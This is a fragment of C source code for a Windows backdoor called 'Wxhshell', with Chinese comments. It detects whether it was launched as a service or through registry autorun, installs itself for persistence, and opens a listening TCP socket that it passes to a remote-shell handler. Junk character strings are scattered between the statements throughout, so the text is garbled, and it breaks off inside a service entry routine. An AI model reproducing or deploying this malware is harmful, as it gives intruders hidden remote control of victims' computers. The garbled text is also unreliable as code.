(!NtQueryInformationProcess) return 0; w/6X9d DPI[~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &aRL}#U if(!hProcess) return 0; 9B0ON*` JN
wI{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KsKE#])&l A*OqUq/H`; CloseHandle(hProcess); e0`z~z]6& `Z;Z^c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k6bct@7 if(hProcess==NULL) return 0; \bARp z?a EZ<:>V-_D HMODULE hMod; CTNL-> char procName[255]; G&*P*f1S unsigned long cbNeeded; 16L YVvmW 9S%5Z> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KuP#i]Na '-v:"%s| CloseHandle(hProcess); {[!<yUJ`S# PBn7{( x if(strstr(procName,"services")) return 1; // 以服务启动 ~[Tcl R%jOgZG return 0; // 注册表启动 F'K >@y } "-&K!Vfs ?\Z pVL<> // 主模块 H7+"BWc int StartWxhshell(LPSTR lpCmdLine) 2_wue49-l { Eg)24C R 4 SOCKET wsl; 4t[7lL`Z BOOL val=TRUE; Jw]!x1rF~ int port=0; "L~Oj&AN[ struct sockaddr_in door; bN_e~ z
9)VAEyv if(wscfg.ws_autoins) Install(); hi"C<b. .)
Ej#mk port=atoi(lpCmdLine); ,?8a3% %tVU Rj if(port<=0) port=wscfg.ws_port; oLoc jj~T 4!/QB6 WSADATA data; QGpj$ _b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '/I`dj J@-'IJ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4FaO+Eo,8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }eLApFHEDg door.sin_family = AF_INET; "pO door.sin_addr.s_addr = inet_addr("127.0.0.1"); ql@2<V{ door.sin_port = htons(port); wH|%3@eJ @(#vg\UH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pb97S^K[ closesocket(wsl); fS"u"]j*e return 1; 2 ,nhs,FZ } AW r2Bv *P' X[z if(listen(wsl,2) == INVALID_SOCKET) { G u`xJ closesocket(wsl); 2Z{?3mAb; return 1; 4 ?BQ&d } JzEg`Sn^ Wxhshell(wsl); }uDpf0;^ WSACleanup();
vGi<" Sn7 r%;|gIky return 0; q_[y|ETJ] %f;v$rsZ } |.9PwD8~VD mPA)G,^ // 以NT服务方式启动 !mK()# 6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P.Tnq { jga;q DWORD status = 0; #f(a,,Uu' DWORD specificError = 0xfffffff; 4(htdn6 \ {e&fB |